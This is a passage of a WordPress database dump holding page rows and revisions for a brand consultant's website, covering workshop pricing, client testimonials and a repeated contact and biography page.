are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n<h3><span style="color: #ff6600;">Brand Transformation and Creative Consulting</span></h3>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'publish', 'closed', 'closed', '', 'consulting-programs', '', '', '2015-10-15 12:16:38', '2015-10-15 19:16:38', '', 0, 'http://whc.fbdev.org/?page_id=3058', 0, 'page', '', 0),
(3059, 1, '2015-10-09 12:45:36', '2015-10-09 19:45:36', 'This is for consulting programs.', 'Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-09 12:45:36', '2015-10-09 19:45:36', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3060, 1, '2015-10-09 12:47:23', '2015-10-09 19:47:23', '<h1>Serving clients in diverse industry categories.</h1>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n<p class="quote">"Thomson masterfully guided me through the process of developing the website for my 22/7 Company. I wanted to go beyond what was generally available… Thomson "got it" and helped me capture my vision and make it happen, He''s a rare combination of creative genius and organized strategic planner. I thoroughly enjoyed our working process together, He''s the best!"</p>\r\n<p class="attribute"><em>Terry Tillman</em>\r\n<em> Founder and President</em>\r\n<em> 22/7 Company\r\nManagement Consulting</em></p>\r\n<p class="quote">"Thomson is a rare breed! He is a gifted and talented creative professional and inspiring leader. I would highly recommend him to anyone who wants to take their business to the next level!"</p>\r\n<p class="attribute">Roger Gould\r\nFounder and President\r\nGould Design Inc\r\nGraphic Design Agency</p>\r\n\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'publish', 'closed', 'closed', '', 'what-clients-say', '', '', '2015-10-13 09:53:27', '2015-10-13 16:53:27', '', 0, 'http://whc.fbdev.org/?page_id=3060', 0, 'page', '', 0),
(3061, 1, '2015-10-09 12:47:23', '2015-10-09 19:47:23', 'Client Testimonials.', 'What Clients Say', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 12:47:23', '2015-10-09 19:47:23', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3064, 1, '2015-10-09 12:50:47', '2015-10-09 19:50:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n<h4>[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]</h4>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:50:47', '2015-10-09 19:50:47', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3069, 1, '2015-10-09 12:54:19', '2015-10-09 19:54:19', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:54:19', '2015-10-09 19:54:19', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3065, 1, '2015-10-09 12:51:14', '2015-10-09 19:51:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n<h4>[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]</h4>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:51:14', '2015-10-09 19:51:14', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3067, 1, '2015-10-09 12:53:09', '2015-10-09 19:53:09', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:53:09', '2015-10-09 19:53:09', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0);
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(3071, 1, '2015-10-09 13:02:01', '2015-10-09 20:02:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\nWatch Thomson speak below.\r\n\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:02:01', '2015-10-09 20:02:01', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3070, 1, '2015-10-09 13:01:02', '2015-10-09 20:01:02', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and 